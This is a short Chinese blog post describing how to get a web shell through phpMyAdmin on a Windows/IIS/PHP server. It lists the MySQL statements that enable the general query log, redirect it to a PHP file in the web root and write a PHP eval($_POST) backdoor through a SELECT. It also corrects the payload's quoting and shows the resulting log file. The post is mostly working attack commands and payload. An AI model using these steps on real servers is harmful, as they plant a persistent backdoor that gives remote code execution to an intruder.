phpmyadmin通過日志拿shell

環(huán)境：win2003 、IIS6、PHP、asp、cgi-fcgi

1、set global general_log='on' 
2、set global general_log_file='c:\\phpstudy\\www\\log.php'   #一定使用 '\\'
3、select "<?php eval($_POST[0])?>"

出現(xiàn)時(shí)不時(shí)錯(cuò)誤：

HTTP/1.1 500 Server Error
Date: Tue, 23 Jan 2018 01:38:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 105
PHP Notice:  Use of undefined constant （常量）shell - assumed 'shell' in C:\phpStudy4IIS\WWW\log.php on line 64

原因：[0]中0是常量，['0']中0是變量，所以應(yīng)該是：<?php eval($_POST['0'])?>

log.php文件內(nèi)容：
MySQLa, Version: 5.5.40 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time                 Id Command    Argument
           96 Quit  
180123 10:20:47    97 Connect   root@localhost on 
           97 Query SET CHARACTER SET 'utf8'
           97 Query SET collation_connection = 'utf8_general_ci'
180123 10:20:48    97 Query SELECT "<?php eval($_POST['0'])?>"
           97 Init DB   mysql
           97 Query SHOW MASTER LOGS
           97 Quit  ......
                                ......
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成，瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明：文章內(nèi)容（如有圖片或視頻亦包括在內(nèi)）由作者上傳并發(fā)布，文章內(nèi)容僅代表作者本人觀點(diǎn)，簡(jiǎn)書系信息發(fā)布平臺(tái)，僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容